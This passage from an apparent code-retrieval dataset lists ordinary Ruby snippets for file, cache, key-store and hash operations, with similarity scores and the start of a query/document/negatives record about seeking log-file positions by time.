"def upgrade_file_key(key, save = true)\n cname = self.collection.name\n\n files = self.database[\"#{cname}.files\"]\n chunks = self.database[\"#{cname}.chunks\"]\n\n fname = self[\"_#{key}\"] rescue nil\n return if fname.blank?\n\n begin\n n = Mongo::GridIO.new(files, chunks, fname, \"r\", :query => {:filename => fname})\n\n v = n.read\n\n if !v.empty?\n data = StringIO.new(v)\n self.put_file(key, data)\n self[\"_#{key}\"] = nil\n\n self.save(:validate => false) if save\n end\n rescue => e\n puts \"ERROR: #{e}\"\n puts e.backtrace.join(\"\\t\\n\")\n return\n end\n\n files.remove(:_id => fname)\n chunks.remove(:_id => fname)\n end",
"def remove_deleted_keys_and_write_to_file(source=nil, model=nil)\n save_to = source\n keys_to_write = source_without_deleted_keys_in_origin(source,model)\n Translate::File.new(save_to).write(keys_to_write)\n end",
"def delete key\n File.delete( cache_file(key) ) if File.exists?( cache_file(key) )\n end",
"def delete(key)\n configuration.hpath_delete.tap do |result|\n save if sync_down\n end\n end",
"def delete(key)\n @data.delete(key).tap {\n save if autosave?\n }\n end",
"def synchronize! updater\n source_hash[updater.filename] = source_hash[updater.filename].synchronize(updater)\n end",
"def update_master_files(context)\n media_object = context[:media_object]\n files = context[:master_files] || {}\n deleted_master_files = []\n if not files.blank?\n files.each_pair do |id,master_file|\n selected_master_file = MasterFile.find(id)\n\n if selected_master_file\n if master_file[:remove]\n deleted_master_files << selected_master_file\n selected_master_file.destroy\n else\n selected_master_file.title = master_file[:title] unless master_file[:title].nil?\n selected_master_file.permalink = master_file[:permalink] unless master_file[:permalink].nil?\n selected_master_file.poster_offset = master_file[:poster_offset] unless master_file[:poster_offset].nil?\n selected_master_file.date_digitized = master_file[:date_digitized].blank? ? nil : master_file[:date_digitized] unless master_file[:date_digitized].nil?\n unless selected_master_file.save\n context[:error] ||= []\n context[:error] << \"#{selected_master_file.id}: #{selected_master_file.errors.to_a.first.gsub(/(\\d+)/) { |m| m.to_i.to_hms }}\"\n end\n end\n end\n end\n end\n deleted_master_files\n end",
"def masterfile_keys\n ['gtin', 'seq_no', 'target_market']\n end",
"def masterfile_keys\n ['gtin', 'seq_no', 'target_market']\n end",
"def delete _key\n store.transaction() { |s| s.delete(prepare_key(_key)) }\n end",
"def copy_ssh_key\n copy_file_to_storage_directory(full_keypair_path)\n end",
"def copy_content_to(key, source_root, source_key, metadata = {})\n if source_root.root_type == :s3 and source_root.can_s3_copy_to?(self.name)\n do_multipart = source_root.size(source_key) > AMAZON_CUTOFF_SIZE\n source_object = source_root.s3_object(source_key)\n target_object = s3_object(key)\n source_mtime = source_root.mtime(source_key)\n if source_mtime and !(metadata[:mtime])\n metadata[:mtime] = source_mtime.to_f.to_s\n end\n unless metadata[AMAZON_HEADERS[:md5_sum]]\n metadata[AMAZON_HEADERS[:md5_sum]] = source_root.md5_sum(source_key)\n end\n # metadata? I think the commented out will just copy, but haven't checked.\n source_object.copy_to(target_object, multipart_copy: do_multipart, metadata: metadata, metadata_directive: 'REPLACE')\n #source_object.copy_to(target_object, multipart_copy: do_multipart)\n else\n super\n end\n end",
"def copy_tree_to(key, source_root, source_key)\n source_root.unprefixed_subtree_keys(source_key).each do |unprefixed_key|\n copy_content_to(File.join(key, unprefixed_key), source_root, File.join(source_key, unprefixed_key))\n end\n end",
"def save_file(file_id, source)\n synchronize do\n unless cached?(file_id)\n destination = File.join(@cache_root, Utils.fileid2name(file_id))\n FileUtils.cp(source, destination)\n \n if File.exist?(destination)\n cached_file = CachedFile.new\n cached_file.filename = File.basename(source)\n cached_file.last_copy = DateTime::now\n \n @cached_files[file_id] = cached_file\n else\n message = \"Cache: Unable to copy file with id #{file_id}.\"\n @logger.error(message) if @logger\n raise message\n end\n end\n end\n end",
"def put key, value\n # append value to open file\n # write new keydict value\n @keydict[key] = write_data_entry key, value\n\n # sync\n\n if @data_file.size > MAX_FILE_SIZE\n fname = @data_file.path\n @data_file.close\n @data_file = open_new_data_file\n @old_data_files[fname] = File.open(fname, \"rb\")\n end\n end",
"def remove_keys_and_write_to_file(base=nil, target=nil)\n save_to = target.nil? ? file_path : target\n base_file = base.nil? ? base_file_path : base\n keys_to_write = keys_without_base_file(base_file)\n Translate::File.new(save_to).write(keys_to_write)\n end",
"def my_hash_deletion_method!(source, thing_to_delete)\n source.delete(thing_to_delete)\n p source\nend",
"def my_hash_deletion_method!(source, thing_to_delete)\n source.delete(thing_to_delete)\n p source\nend",
"def add_hash(id, hash, source)\n @hashes[id] = {:deletehash => hash, :source => source, :stamp => Time.now}\n end",
"def delete_file(file, version)\n # remove filename, may remove digest if that was last file associated with that digest.\n my_state = get_state(version) # Creates version & copies state from prior version if doesn't exist.\n\n unless version == version_id_list.max\n raise OcflTools::Errors::CannotEditPreviousVersion, \"Can't edit prior versions! Only version #{version_id_list.max} can be modified now.\"\n end\n\n my_digest = get_digest(file, version)\n # we know it's here b/c self.get_digest would have crapped out if not.\n my_array = my_state[my_digest] # Get [Array] of files that have this digest in this version.\n my_array.delete(file) # Delete the array value that matches file.\n if !my_array.empty?\n # update the array with (fewer) items.\n my_state[my_digest] = my_array\n else\n # delete the key.\n my_state.delete(my_digest)\n end\n # put results back into State.\n set_state(version, my_state)\n end",
"def cleanup\n @agent_file_history.each { |af| FileUtils.rm_f(af) }\n @key_file_history.each { |kf| FileUtils.rm_f(kf) }\n end",
"def my_hash_deletion_method!(source, thing_to_delete)\r\n source.delete(thing_to_delete)\r\n p source\r\nend",
"def delete(key)\n @mutex.synchronize do\n x = anchor\n level = node_level(x)\n update = Array.new(level)\n x = find_with_update(x, level, key, update)\n \n # remove existing key\n \t if node_compare(x, key) == 0\n \t level = node_level(x)\n \t while level > 0\n \t level -= 1\n \t node_delete_after!(x, update[level], level)\n end\n \t end\n end\n \tself\n \tend",
"def sync\n return if @no_sync\n File.open( @filename, \"w\" ) do |f|\n Marshal.dump( @hash, f )\n end\n end",
"def delete(key)\n @hash.delete key\n @key_hash.delete key\n end",
"def delete_key(key)\n end",
"def save_master\n if master && master.should_save?\n master.save\n end\n end",
"def add_key(key)\n begin\n file = Tempfile.new('key')\n file.puts(key)\n file.close\n\n add_keyfile(file.path)\n ensure\n file.close(true) unless file.nil?\n end\n end",
"def remove(key)\n Lib.remove @path, @no_follow, key.to_s\n end",
"def hash_end(_key)\n save_batch\n end",
"def copy_file(source_file, destination_file, version)\n # add new filename to existing digest in current state.\n # If destination file already exists, overwrite it.\n existing_files = get_files(version)\n\n if existing_files.key?(destination_file)\n delete_file(destination_file, version)\n end\n # should NOT call add_file, as add_file updates the manifest.\n # Should instead JUST update current state with new filepath.\n digest = get_digest(source_file, version) # errors out if source_file not found in current state\n\n my_state = get_state(version)\n my_files = my_state[digest]\n my_files << destination_file\n unique_files = my_files.uniq # Just in case we're trying to add the same thing multiple times.\n # Need to actually add this to @versions!\n @versions[OcflTools::Utils.version_int_to_string(version)]['state'][digest] = unique_files\n # Prove we actually added to state\n get_state(version)\n # self.add_file(destination_file, self.get_digest(source_file, version), version)\n end",
"def delete(key)\n return if @no_update == true\n @store.transaction do\n @store.delete(key)\n end\n end",
"def add( key_file )\n @key_files.push( key_file ).uniq!\n self\n end",
"def keep(key = (no_arg = true))\n if no_arg\n @next.merge!(@flash)\n else\n self[key] = self[key]\n end\n end",
"def delete key\n write_data_entry key, nil, true\n @keydict[key] = nil\n\n sync\n end",
"def delete(key)\n return self unless @hash.key?(key)\n\n h = Hash[@hash]\n h.delete(key)\n self.class.create(h)\n end",
"def redis_master_from_master_file\n set_current_redis_master_from_master_file if redis_master_file_changed?\n @current_master\n end",
"def push_file(source, original_filename, id = nil)\n data = self.read_from(source)\n self.grid.put(data, filename: original_filename, _id: id)\n end",
"def update_file(file, hash)\n\tupdate_file = File.open(file, 'w')\n\tupdate_file.write(hash.to_yaml)\nend",
"def delete(key)\n return unless key? key\n\n @semaphore.synchronize do\n node = @hashed_storage[key]\n @head_node = node.previous_node if node == @head_node\n @tail_node = node.next_node if node == @tail_node\n node.previous_node.next_node = node.next_node if node.previous_node\n node.next_node.previous_node = node.previous_node if node.next_node\n @hashed_storage.delete(key)\n end\n end",
"def delete(key)\n pop if change_key(key, nil, true)\n end",
"def add(key_file); end",
"def clean(&block)\n @target.files.each do |object|\n unless @source.files.include? object.key\n block.call(object)\n object.destroy\n end\n end\n end",
"def key_store\n @key_store ||= begin\n store = {}\n CSV.foreach(@file_name) do |line|\n old_key, new_key = line\n\n store[old_key] = new_key\n end\n store\n end\n end",
"def search_new_key(key)\n _key = key\n if get_file(key).present?\n (1..999).each do |i|\n _key = key.cama_add_postfix_file_name(\"_#{i}\")\n break unless get_file(_key).present?\n end\n end\n _key\n end",
"def uploadFile(key = \"\")\n key = 0 < key.length ? key : self.dispatched.fileName\n self.bucket.put(key, self.string)\n self.clear\n end",
"def delete(key); end",
"def delete(key); end",
"def delete(key); end",
"def delete(key); end",
"def delete(key); end",
"def key_master\n @key_master ||= KeyMaster.new\n end",
"def remove_unused_keys_and_write_to_file(target=nil, search_pattern=nil)\n save_to = target.nil? ? file_path : target\n keys_to_write = remove_unused_keys(save_to, search_pattern)\n Translate::File.new(save_to).write(keys_to_write)\n end",
"def delete(key)\n @hash.delete(key.to_s)\n end",
"def regenerate_hash\n path = tempfile_path\n unless File.exist?(path)\n path = file_path\n end\n\n unless File.exist?(path)\n errors.add(:file, \"not found\")\n return false\n end\n\n hashes = Moebooru::Hasher.compute(path, [:crc32, :md5])\n\n self.md5 = hashes[:md5]\n self.crc32 = hashes[:crc32]\n end",
"def delete_entry(key, options)\n @hash.delete(key)\n end",
"def store(key, value)\n\t\t\tused_key = key \n\t\t\twhile File.exists?(key_to_path(used_key))\n\t\t\t\tif fetch(used_key) == value\n\t\t\t\t\tFileUtils.touch(key_to_path(used_key))\n\t\t\t\t\treturn used_key # Already exists. Do not store again.\n\t\t\t\tend\n\t\t\t\tused_key = Soil.digest_class.digest(key)\n\t\t\tend\n\t\t\tfile_path = key_to_path(used_key)\n\n\t\t\tFileUtils.mkpath(file_path.dirname)\n\t\t\tFile.open(file_path, 'w') do |f|\n\t\t\t\tf.write(Zlib::Deflate.deflate value)\n\t\t\tend\n\t\t\treturn used_key\n\t\tend",
"def test_modifyingfile\n keys = []\n names = []\n 3.times {\n k = mkkey\n #h[:ensure] = :present\n #h.retrieve\n keys << k\n names << k.name\n }\n assert_apply(*keys)\n keys.clear\n\n @catalog.clear(true)\n @catalog = nil\n\n newkey = mkkey\n #newkey[:ensure] = :present\n names << newkey.name\n assert_apply(newkey)\n\n # Verify we can retrieve that info\n assert_nothing_raised(\"Could not retrieve after second write\") {\n newkey.provider.prefetch\n }\n\n assert(newkey.provider.exists?, \"Did not see key in file\")\n end",
"def save_master\n master.save if master && (master.changed? || master.new_record?)\n end",
"def delete(target_key)\n new_map = @map.reject! do |key_value_pair|\n key = key_value_pair.first\n key == target_key\n end\n new_map == @map\n end",
"def remove(key)\n File.unlink cache_path(key)\n rescue Errno::ENOENT\n end",
"def hash\r\n # TODO what if file is empty?\r\n @hash ||= Digest::SHA1.file(File.join(@directory, @filename)).hexdigest\r\n end",
"def delete key\n @internal_hash[key].clear\n end",
"def include?(key)\n status = @repo.staging_area.file_status(key)\n ![:unknown, :removed].include?(status)\n end",
"def apply_key_to_remote key, remote, source=nil\n authorized_keys = get_remote_auth_file(remote)\n\n # add key if it hasn't already been added (to local copy of authorized_keys)\n if !authorized_keys.readlines.grep(/#{key}/)\n authorized_keys.write(\"\\n\" + key + \"\\n\")\n authorized_keys.close\n\n Net::SFTP.start(remote.hostname, \n remote.username, \n :auth_methods => ['publickey', 'password'], \n :password => remote.password) do |sftp|\n sftp.upload!(authorized_keys.path, '.ssh/authorized_keys')\n end\n else\n puts \"#{ source }'s key already exists on #{ remote.id }\"\n end\n end",
"def clear_all(key)\n _mutex.synchronize do\n _store[key] = {}\n end\n end",
"def recursive_update_worker(target_hash, source_hash, terminal_key, parent_key, add, record_id, save_change)\n source_hash.each do |source_hash_key, source_hash_value|\n current_key = \"#{parent_key}#{\"__\" if parent_key}#{source_hash_key}\".to_sym \n if current_key == terminal_key\n return if target_hash.nil? or !(target_hash[source_hash_key] or add)\n target_hash[source_hash_key] = source_hash_value\n save_change << record_id\n else\n if target_hash.is_a? Hash\n recursive_update_worker(target_hash[source_hash_key], source_hash[source_hash_key], terminal_key, current_key, add, record_id, save_change)\n else\n if add\n target_hash = source_hash\n save_change << record_id\n end\n end\n end\n end\n end",
"def move_file(f,target)\n # do nothing if the file does not exist, this can occur\n return 2 if not File.exists? f\n log_new(\"move file -> #{File.basename(f) }\")\n \n target_file = target + \"/\" + File.basename(f) \n stats = {}\n stats[\"src_size\"] = ( not File.size?(f).nil?) ? File.size?(f) : 0\n stats[\"dst_size\"] = ( not File.size?(target_file).nil? ) ? File.size?(target_file) : 0\n \n if File.exists? f \n if stats[\"src_size\"] == 0 \n msg = \"#{@script} -> src file zero bytes: \\'#{File.basename(f) }\\' remove new file ? [y/n] \"\n prompt(f,\"delete\",msg)\n return 2\n end\n if stats[\"src_size\"] < 100000000 and $config[\"settings\"][\"prune_small\"] \n msg = \"#{@script} -> src file less than 100M: \\'#{File.basename(f) }\\' remove new file ? [y/n] \"\n prompt(f,\"delete\", msg)\n return 2\n end\n\n if stats[\"dst_size\"] == 0 and File.exists? target_file\n msg = \"#{@script} -> dst file zero bytes will continue: \\'#{File.basename(target_file) }\\' remove new file ? [y/n] \"\n prompt(target_file,\"delete\",msg)\n end\n if stats[\"dst_size\"] < 100000000 and $config[\"settings\"][\"prune_small\"] and File.exists? target_file\n msg = \"#{@script} -> dst file less than 100M will continue: \\'#{File.basename(target_file) }\\' remove new file ? [y/n] \"\n prompt(target_file,\"delete\", msg)\n end\n end\n \n $config[\"series\"][\"media_extentions\"].split(/,/).each do |ext|\n file_target = File.basename(f).gsub(/.\\w\\w\\w$/,'') + \".\" + ext\n if File.exists? \"#{target}/#{file_target}\"\n # choose which file to delete, we keep in order of the list\n order_target = 1\n order_new = 1\n count = 1\n $config[\"series\"][\"duplicate_priority\"].split(/,/).each do |keep_ext|\n order_target = count if File.extname(file_target) =~ /#{keep_ext}/ \n order_new = count if File.extname(f) =~ /#{keep_ext}/ \n count = count + 1\n end\n delete_file = f\n delete_file = \"#{target}/#{file_target}\" if order_new < order_target\n if order_new != order_target\n msg = \"#{@script} -> current file exist with another extention: \\'#{File.basename(delete_file) }\\' remove dup copy ? [y/n] \"\n prompt(delete_file,\"delete\",msg)\n return 2\n end\n end\n \n end\n \n if File.exists? \"#{target}/#{File.basename(f)}\"\n log(\"warning dst file exists: \\'#{File.basename(f)}\\'\",2) if $config[\"settings\"][\"log_level\"] > 2\n if stats[\"src_size\"] == stats[\"dst_size\"] and $config[\"settings\"][\"prompt_prune_duplicates\"] and f != target_file\n msg = \"duplicate: equal size \\'#{File.basename(f) }\\' remove new copy ? [y/n] \"\n prompt(f,\"delete\",msg)\n return 2\n elsif stats[\"src_size\"] != stats[\"dst_size\"] and f != target_file\n\n if $config[\"settings\"][\"prune_duplicates_choose_larger\"]\n if stats[\"src_size\"] > stats[\"dst_size\"]\n msg = \"duplicate: src larger than current, removing the current #{target_file}\"\n prompt(target_file,\"delete\",msg)\n end\n if stats[\"src_size\"] < stats[\"dst_size\"]\n msg = \"duplicate: src smaller than current, removing the current #{target_file}\"\n prompt(target_file,\"delete\",msg)\n end\n else\n msg = \"duplicate: src \\'#{f}\\' (#{stats[\"src_size\"]}) -> dst \\'#{target_file}\\' (#{stats[\"dst_size\"]}) fix manually\"\n log msg\n end\n\n else\n log \"warning src and dst equal for '#{File.basename(f)}\\' with auto pruning enabled we choose to do nothing\"\n end\n \n if $config[\"settings\"][\"log_level\"] > 2\n if stats[\"src_size\"] == stats[\"dst_size\"]\n log \"warning duplicate equal size: src \\'#{f}\\' -> dst \\'#{target_file}\\'\"\n # should be safe to save some time here and prompt to ask if one wishes to remove src file\n else\n log \"warning duplicate: src \\'#{f}\\' (#{stats[\"src_size\"]}) -> dst \\'#{target_file}\\' (#{stats[\"dst_size\"]})\"\n end\n end\n return 2\n end\n \n is_space = ensure_free_space f, target\n \n if is_space \n # if the directory does not exist it is created\n FileUtils.mkdir_p(target,$options) if not File.directory? target\n begin\n\n FileUtils.mv(f,target,$options) if ( (File.dirname f) != target.gsub(/\\/$/,''))\n symlink_on_move(f,target)\n rescue => e\n log(\"error: problem with target, reason #{e.to_s}\")\n exit 1\n end\n stats[\"dst_size\"] = ( not File.size?(target_file).nil? ) ? File.size?(target_file) : 0\n if (stats[\"src_size\"] != stats[\"dst_size\"]) and not $opt[\"dry\"]\n log(\"error target file not equal to original : \\\"#{File.basename(f)}\\\"\")\n end\n\n else\n log(\"error not enough free space on \\\"#{target}\\\"\")\n exit 2\n end\n \n 1\nend",
"def hash_after_deleted_source(source_id)\n updated_source_ids = self.source_ids - [source_id.to_s]\n if updated_source_ids.empty?\n # remove the Key::PROPAGATED key\n self.derived_source.inject({}) { | h, (k, v) | k == Key::PROPAGATED ? h : h.merge(k => v) }\n else\n self.class.deep_merge(self.derived_source, self.class_propagated_hash_form(*updated_source_ids))\n end\n end",
"def write_ssh_key_to_temp_file(src_file = nil)\n\n src_file ||= self[:override_ssh_key] || infer_ssh_key_path\n\n begin\n src_file_contents = IO.read File.expand_path(src_file)\n rescue => err\n die \"can't read SSH key file: #{err}\"\n end\n if src_file_contents.include? 'ANSIBLE_VAULT'\n src_file_contents = ansible_vault_read src_file\n end\n\n write_temp_file src_file_contents, prefix: 'private_key'\n end",
"def delete(key)\n @data.delete(key)\n @key_size.delete(key)\n end",
"def my_hash_deletion_method(source, thing_to_delete)\n\tsource.delete_if {|key, value| key.to_s.include?(thing_to_delete)}\nend",
"def file_content(action)\n options = {\n source: @base_file,\n language: @language,\n file_type: @file_type\n }\n if action == \"update\"\n options[:target] = get_file\n @new_file = FileContent.new(options).update_file \n else\n @new_file = FileContent.new(options).generate_file\n end\n end",
"def set_current_redis_master_from_master_file\n @last_time_master_file_changed = File.mtime(@config.redis_server)\n server_string = extract_redis_master(read_master_file)\n @current_master = !server_string.blank? ? Redis.from_server_string(server_string, @config.redis_options ) : nil\n end",
"def id(source_file)\n Digest::SHA1.hexdigest(filename(source_file))\n end",
"def set_aws_master_key(master_key_opts)\n unless master_key_opts\n raise ArgumentError.new('The :master_key option cannot be nil')\n end\n\n unless master_key_opts.is_a?(Hash)\n raise ArgumentError.new(\n \"#{master_key_opts} is an invalid :master_key option. \" +\n \"The :master_key option must be a Hash in the format \" +\n \"{ region: 'AWS-REGION', key: 'AWS-KEY-ARN' }\"\n )\n end\n\n region = master_key_opts[:region]\n unless region\n raise ArgumentError.new(\n 'The value of :region option of the :master_key options hash cannot be nil'\n )\n end\n\n unless region.is_a?(String)\n raise ArgumentError.new(\n \"#{master_key_opts[:region]} is an invalid AWS master_key region. \" +\n \"The value of :region option of the :master_key options hash must be a String\"\n )\n end\n\n key = master_key_opts[:key]\n unless key\n raise ArgumentError.new(\n 'The value of :key option of the :master_key options hash cannot be nil'\n )\n end\n\n unless key.is_a?(String)\n raise ArgumentError.new(\n \"#{master_key_opts[:key]} is an invalid AWS master_key key. \" +\n \"The value of :key option of the :master_key options hash must be a String\"\n )\n end\n\n Binding.ctx_setopt_master_key_aws(\n self,\n region,\n key,\n )\n end",
"def refresh_action_key\n if phase_sequence[battle_phase].call != @used_sequence\n self.battle_phase = battle_phase\n end\n end",
"def write(key, value)\n paths = ::File.split(full_key(key))\n FileUtils.mkdir_p(paths.first) unless ::File.directory?(paths.first)\n f = ::File.open(full_key(key), 'w') {|f| f.write(value) }\n end",
"def delete(key)\n File.unlink cache_path(key)\n rescue Errno::ENOENT\n end",
"def delete(key = nil)\n key ? self.data.delete(key) : self.data.clear\n end",
"def delete(key = nil)\n key ? self.data.delete(key) : self.data.clear\n end",
"def id(source_file)\n Digest::SHA1.hexdigest(source_file.filename)\n end",
"def remove(key); end",
"def update\n return unless @hash\n begin\n lockf = File.open(@path+\".lock\", File::CREAT|File::RDWR, 0600)\n lockf.flock File::LOCK_EX\n f = File.open(@path+\".new\", File::CREAT|File::TRUNC|File::WRONLY, 0600)\n for k,v in @hash\n f.printf \"%s=%s\\n\", CGI.escape(k), CGI.escape(String(Marshal.dump(v)))\n end\n f.close\n File.rename @path+\".new\", @path\n ensure\n f&.close\n lockf&.close\n end\n end",
"def destination_shasum\n @destination_shasum ||= digest_directory(source_path, :sha256, source_options)\n end",
"def delete_data(key)\n @data.delete(key)\n end",
"def delete_entry(key, **options)\n rescue_error_with(false) { @data.with { |c| c.delete(key) } }\n end",
"def save\n entries = []\n entries << '#'\n entries << '# This file is managed by Chef, using the hostsfile cookbook.'\n entries << '# Editing this file by hand is highly discouraged!'\n entries << '#'\n entries << '# Comments containing an @ sign should not be modified or else'\n entries << '# hostsfile will be unable to guarantee relative priority in'\n entries << '# future Chef runs!'\n entries << '#'\n entries << ''\n entries += unique_entries.map(&:to_line)\n entries << ''\n\n contents = entries.join(\"\\n\")\n contents_sha = Digest::SHA512.hexdigest(contents)\n\n # Only write out the file if the contents have changed...\n if contents_sha != current_sha\n ::File.open(hostsfile_path, 'w') do |f|\n f.write(contents)\n end\n end\n end",
"def load_master_key(instance, username, password)\n key_resp = download_master_key(instance, username, password)\n key_content =\n if key_resp.code == '200'\n key_resp.body\n else\n find_master_key(instance, username, password)\n end\n\n save_key(key_content)\n end",
"def remove(key)\n @store.delete_if { |i| i[:key] == build_key(key) }\n end",
"def delete(key)\n @monitor.synchronize do\n entry = @stash.delete(key)\n if entry\n @expires_at.delete(entry)\n entry.value\n else\n nil\n end\n end\n end",
"def delete(key)\n data.delete(key)\n @deleted_hash[key] = nil\n end",
"def write(key, content)\n temp_file = File.join(root, ['tmp', $$, Thread.current.unique_id].join('-'))\n File.open(temp_file, 'wb') do |dest|\n if content.respond_to? :to_str\n dest.write(content.to_str)\n else\n content.each {|s| dest.write(s) }\n end\n end\n\n path = cache_path(key)\n if File.exist?(path)\n File.unlink temp_file\n else\n FileUtils.mkdir_p File.dirname(path), :mode => 0755\n FileUtils.mv temp_file, path\n end\n true\n rescue\n File.unlink temp_file rescue false\n false\n end",
"def clear!\n @key_files = []\n @known_identities = nil\n self\n end",
"def delete(key)\n\n end",
"def write_to_file(target=nil, maintain_keys=false)\n save_to = target.nil? ? file_path : target\n keys_to_write = maintain_keys ? keys_from_file(save_to) : keys\n Translate::File.new(save_to).write(keys_to_write)\n end"
] |
[
"0.5886325",
"0.52260816",
"0.5221473",
"0.5177054",
"0.5124466",
"0.49301687",
"0.49288794",
"0.4828572",
"0.47610435",
"0.47589764",
"0.47509995",
"0.47199625",
"0.47199625",
"0.4684239",
"0.46688947",
"0.46670628",
"0.46501485",
"0.46428072",
"0.46243903",
"0.45836744",
"0.4578041",
"0.4578041",
"0.45671612",
"0.45625734",
"0.45340565",
"0.4533496",
"0.45332298",
"0.45321715",
"0.45243767",
"0.45194325",
"0.4506328",
"0.450465",
"0.44839755",
"0.44793496",
"0.44631112",
"0.44439048",
"0.44335783",
"0.44255307",
"0.439417",
"0.43930262",
"0.43863288",
"0.4380278",
"0.43798274",
"0.43785512",
"0.43766034",
"0.4366245",
"0.43532902",
"0.43483174",
"0.43454096",
"0.43383837",
"0.43377838",
"0.43377838",
"0.43377838",
"0.43377838",
"0.43377838",
"0.43338215",
"0.43296504",
"0.43170562",
"0.43167296",
"0.43107963",
"0.4308558",
"0.43081877",
"0.4307384",
"0.4304869",
"0.42925596",
"0.42913726",
"0.4288244",
"0.42749915",
"0.42708647",
"0.4267489",
"0.42649814",
"0.426314",
"0.42614204",
"0.42579234",
"0.42568627",
"0.42560175",
"0.42544925",
"0.42406985",
"0.42404538",
"0.42326978",
"0.423129",
"0.4228767",
"0.42270505",
"0.4226764",
"0.4226764",
"0.42177585",
"0.42114627",
"0.4210256",
"0.4209519",
"0.42059427",
"0.41994768",
"0.41955888",
"0.41942707",
"0.41906705",
"0.41892618",
"0.41827634",
"0.41742334",
"0.4172327",
"0.41705975",
"0.4170295"
] |
0.7440597
|
0
|
Grab the time of the next action after our current file position, then return to that position
|
def get_next_action_time(file)
start_pos = file.pos
next_time = get_next_result_time(file)
file.seek(start_pos, IO::SEEK_SET)
next_time
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_time_of_last_file_action(file)\r\n\t\tresult_time = nil\r\n\t\tstarting_pos = file.pos\r\n\t\tfile.seek(0, IO::SEEK_END)\r\n\t\tfile.seek(file.pos-[10000, file.pos].min, IO::SEEK_SET)\r\n\t\t\r\n\t\twhile(!file.eof? && (this_line = file.readline))\r\n\t\t\tresult_time = Time.parse($1) if(this_line =~NEW_ACTION_REGEX)\r\n\t\tend\r\n\r\n\t\t# Reset file\r\n\t\tfile.seek(starting_pos, IO::SEEK_SET)\r\n\t\tresult_time\r\n\tend",
"def file_seek_to_time(file, time_obj, logger)\r\n\t\tfile.seek(0, IO::SEEK_END)\r\n\t\tend_pos = file.pos\r\n\t\tfile.rewind\r\n\t\tfile = seek_to_time_helper(file, time_obj, 0, end_pos, logger)\r\n\t\tstarting_line_pos = file.pos\r\n\r\n\t\tfile.each do |line|\r\n\t\t\tif(line =~ NEW_ACTION_REGEX)\r\n\t\t\t\tthis_time = Time.parse($1)\r\n\t\t\t\tif this_time >= time_obj\r\n\t\t\t\t\tfile.seek(starting_line_pos, IO::SEEK_SET)\r\n\t\t\t\t\tbreak\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\t\tstarting_line_pos = file.pos\r\n\t\tend\r\n\t\tfile\r\n\tend",
"def seek_to_time_helper(file, target_time, start_pos, end_pos, logger)\r\n\t\treturn nil unless file && target_time\r\n\t\tlogger.info(\"Checking between file pos #{start_pos} and #{end_pos}.\")\r\n\r\n\t\trewind_pos = file.pos\r\n\t\tmiddle_pos = (start_pos+end_pos)/2\r\n\t\tfile.seek(middle_pos, IO::SEEK_SET)\r\n\t\tfile.each do |line|\r\n\t\t\tif(line =~ NEW_ACTION_REGEX)\r\n\t\t\t\tthis_time = Time.parse($1)\r\n\t\t\t\tif this_time >= target_time\r\n\t\t\t\t\treturn seek_to_time_helper(file, this_time, start_pos, middle_pos, logger)\r\n\t\t\t\telsif(this_time < target_time && (this_time-target_time).abs < MAX_TIME_BETWEEN_CONTROLLER_ACTIONS)\r\n\t\t\t\t\tfile.seek(rewind_pos, IO::SEEK_SET)\r\n\t\t\t\t\treturn file\r\n\t\t\t\telse\r\n\t\t\t\t\treturn seek_to_time_helper(file, this_time, middle_pos, end_pos, logger)\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend\r\n\r\n\t\t# If we can't find any line that meets the criteria we seek, just send back the file object in the closest spot we could find.\r\n\t\tfile.seek(rewind_pos, IO::SEEK_SET)\r\n\t\treturn file\r\n\tend",
"def get_next_result_time(file)\r\n\t\tresult_time = nil\r\n\t\twhile(!file.eof? && (this_line = file.readline))\r\n\t\t\tif(this_line =~NEW_ACTION_REGEX)\r\n\t\t\t\tresult_time = Time.parse($1)\r\n\t\t\t\tbreak\r\n\t\t\tend\r\n\t\tend\r\n\t\tresult_time\r\n\tend",
"def advance()\n @time = @time + 1\n end",
"def read_next_move\n\t\t\t\tms = read_acpc_matchstate\n\t\t\t\treturn ms[:last_action]\n\t\t\tend",
"def seek\n end",
"def seek\n end",
"def tell; @next_block_pos end",
"def advance; end",
"def advance; end",
"def advance; end",
"def next_action\n # puts \"Sequence#next_action\"\n reset_cur_action_repeat\n @action_index = (@action_index + 1) % @sub_actions.length\n @cur_repeat -= 1 if @action_index.zero?\n\n setup_action unless complete?\n end",
"def advance\n goto((@current_frame + 1) % @frames)\n end",
"def advance_step\n @step += 1\n @scheduling.step\n end",
"def next()\n\n @filehandler.pos = @list_of_positions[@current_iteration]\n\n if @list_of_positions.length > @current_iteration\n @current_iteration += 1\n end\n\n make_entry()\n\n end",
"def next_execute_time\n if (@count > 0 && @count <= @job.run_time) || @interval <= 0\n return nil\n end\n @next_time += @interval\n end",
"def stopped_at; end",
"def stopped_at; end",
"def stopped_at; end",
"def advance ( delta=0 ) \n @actual += delta\n @current = @actual + offset\n @current_offset = @current.to_i/60 - @actual.to_i/60\n @updated = Time.new\n @update_count += 1\n self\n end",
"def fileseek(offset = 0, _message = nil)\n # st = Time.now\n @fHnd.seek(offset, IO::SEEK_SET)\n # $log.warn \"seek time [#{Time.now-st}] from [#{message}]\" if $log\n end",
"def when_to_run\n time - @@REMINDER_TIME\n end",
"def advance_1sec!\n\t\tTimecop.travel(Time.now + 1)\n\tend",
"def seek(new_position)\n end",
"def update\n @time += -1\n if @time == -1\n done = @target\n @target = \"\"\n return done\n end\n return nil\n end",
